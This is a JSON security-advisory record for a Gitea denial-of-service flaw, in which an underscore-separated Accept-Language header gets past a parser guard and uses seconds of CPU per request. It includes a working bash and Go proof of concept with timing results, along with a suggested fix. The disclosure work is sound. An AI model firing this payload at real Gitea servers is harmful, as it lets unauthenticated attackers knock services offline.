{"id":"CVE-2026-58436","aliases":["GHSA-fw57-jgch-pgf3"],"title":"Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests","summary":"Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests","severity":"high","cwe":["CWE-407","CWE-1333"],"vendor":"gitea","product":"code.gitea.io/gitea","ecosystem":"go","affected":["code.gitea.io/gitea < 1.27.0"],"patched":["code.gitea.io/gitea 1.27.0"],"published":"2026-07-21","updated":"2026-07-21","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-fw57-jgch-pgf3","references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"},{"url":"https://github.com/go-gitea/gitea/pull/38323"},{"url":"https://github.com/go-gitea/gitea/commit/f452c369acc9f1bd05ec6ef9c2e4399062dd6da1"},{"url":"https://github.com/advisories/GHSA-fw57-jgch-pgf3"}],"tags":["ghsa","go"],"ingestedAt":"2026-07-21T21:54:47.392Z","epss":0.00609,"epssPercentile":0.46859,"slug":"CVE-2026-58436","body":"## Overview\n\n### Summary\n\nThe Locale middleware that runs in front of every unauthenticated request\ncalls `golang.org/x/text/language.ParseAcceptLanguage` on the raw\n`Accept-Language` header without imposing a size or shape filter. The\nunderlying parser has quadratic-time behaviour on long lists of malformed\nlanguage tags. The CVE-2022-32149 guard that golang.org/x/text added in\nv0.3.8 caps the number of `-` characters in the input at 1000, but it does\nnot cap `_` characters even though the parser's internal scanner aliases\n`_` to `-` before parsing. A single unauthenticated GET request with an\n`Accept-Language` header built out of `_` separators burns ~2 seconds of\nserver CPU on the host running Gitea; ten concurrent attackers saturate a\nten-core box for the duration of the attack while consuming ~1 MiB of\nupstream bandwidth per request.\n\n### Affected versions\n\n`code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all\nearlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that\ndo not impose their own size limit on the `Accept-Language` header before\ncalling `ParseAcceptLanguage`. Verified on:\n\n- the official `gitea/gitea:1.22.6` docker image (E2E below)\n- `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading\n  `modules/web/middleware/locale.go` (the call site at line 38 is unchanged\n  on `main`)\n\n### Privilege required\n\nUnauthenticated. The Locale middleware runs for every HTTP request\nincluding the landing page and the sign-in page.\n\n### Vulnerable code\n\n[`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38)\n(blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`):\n\n```go\n// 3. Get language information from 'Accept-Language'.\n// The first element in the list is chosen to be the default language automatically.\nif len(lang) == 0 {\n    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get(\"Accept-Language\"))\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\n`req.Header.Get(\"Accept-Language\")` is the unfiltered HTTP header. Default\nGo `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Gitea does not\noverride it, so the parser is allowed to receive up to a megabyte of\nattacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters\nand rejecting inputs with more than 1000 of them. The guard does not count\n`_` characters even though the scanner converts `_` to `-` at parse time\n([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).\nA 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens\ncontains zero `-` characters, passes the guard, and then drives the\nscanner into the O(N²) `gobble` path. The fix author of CVE-2022-32149\ntreated `-` as the canonical separator; the `_` alias was added in 2013,\nnine years before the fix.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery Gitea HTTP request passes through `Locale` as it is wired up via\nthe global request pipeline (Gitea registers the middleware on its router\nin `routers/web/web.go`). The middleware sequence is:\n\n1. The request enters `Locale(resp, req)`.\n2. `req.URL.Query().Get(\"lang\")` returns \"\" (attacker omits `lang`).\n3. `req.Cookie(\"lang\")` returns nil on a fresh client (attacker uses a\n   fresh client, or simply does not send the cookie).\n4. `req.Header.Get(\"Accept-Language\")` returns the full attacker-supplied\n   header value.\n5. `language.ParseAcceptLanguage(...)` runs unfiltered.\n\nNo size or character class filter is applied between (4) and (5).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and\ntimes one request against a fresh `gitea/gitea:1.22.6` container:\n\n```bash\ndocker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6\nsleep 8\n\nPAYLOAD=\"en$(python3 -c 'print(\"_abcdefghi\" * 100000, end=\"\")')\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w 'http=%{http_code} t=%{time_total}\\n' \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:13000/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the\nscanner's `len <= 8` tag-length check at\n`golang.org/x/text/internal/language/parse.go` and triggers a `gobble`\ncall that `runtime.memmove`s the entire remaining buffer. With N invalid\ntokens the total bytes moved by `gobble` is O(N²).\n\n### End-to-end reproduction (against `gitea/gitea:1.22.6`)\n\nA Go driver `poc.go` that boots the container, sends a 1 MiB\n`Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and\nonce with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:13000/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) <= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := &http.Client{\n        Timeout: 60 * time.Second,\n        Transport: &http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires ('-' x 1MiB)\", buildPayload(\"-\", 1<<20))\n    send(\"attack ('_' x 1MiB)\",     buildPayload(\"_\", 1<<20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1<<20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1<<20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the\nofficial `gitea/gitea:1.22.6` image with no other tuning):\n\n```\nE2E: golang/x/text ParseAcceptLanguage '_' bypass through\ngo-gitea/gitea 1.22.6 Locale middleware at\nmodules/web/middleware/locale.go:38.\n\nTarget: http://127.0.0.1:13000/\n\n  warm-up (no header)              header=0 B  '_'=0  '-'=0  status=200  t=18.079666ms\n\n--- measurements (single request each) ---\n  baseline (no header)             header=0 B  '_'=0  '-'=0  status=200  t=6.480333ms\n  baseline (1 short tag)           header=5 B  '_'=0  '-'=1  status=200  t=5.0455ms\n  guard-fires control ('-' x 1MiB) header=1048572 B  '_'=0  '-'=104857  status=200  t=26.020625ms\n  attack ('_' x 1MiB)              header=1048572 B  '_'=104857  '-'=0  status=200  t=2.159538333s\n  attack repeat 2                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.938493583s\n  attack repeat 3                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.679953042s\n```\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 1 - 7 ms    |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms       |\n| 1 MiB `_` separators (guard bypassed)    | 1 MiB        | 1.7 - 2.2 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still\nwork on the canonical separator: a 1 MiB `-` payload returns in 26 ms\nbecause the parser short-circuits with `ErrTagListTooLarge`. The `_`\nattack returns 200 from the same endpoint but consumes ~2 s of server\nCPU because the guard did not fire and the quadratic scanner ran to\ncompletion.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2 seconds per 1\n  MiB request.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a\n  10-core Gitea instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as\n  abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Gitea installations published to the public internet (the\n  common pattern) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter before reaching\n`ParseAcceptLanguage`. The smallest change that preserves the existing\nbehaviour for legitimate Accept-Language headers is to count `_`\nalongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// modules/web/middleware/locale.go\nconst maxAcceptLanguageSeparators = 32 // matches typical real browser values\n\nif len(lang) == 0 {\n    al := req.Header.Get(\"Accept-Language\")\n    if strings.Count(al, \"-\")+strings.Count(al, \"_\") > maxAcceptLanguageSeparators {\n        // Refuse to call into the BCP 47 parser with absurd input.\n        al = \"\"\n    }\n    tags, _, _ := language.ParseAcceptLanguage(al)\n    tag := translation.Match(tags...)\n    lang = tag.String()\n}\n```\n\nA real Accept-Language header from a browser contains under 10\nseparators, so a ceiling of 32 leaves plenty of headroom while making\nthe quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future\nupstream fix is the right long-term solution; the change above is\ndefensive in depth at the only call site that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.\n\n## Affected packages\n\n- `code.gitea.io/gitea < 1.27.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `code.gitea.io/gitea 1.27.0`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}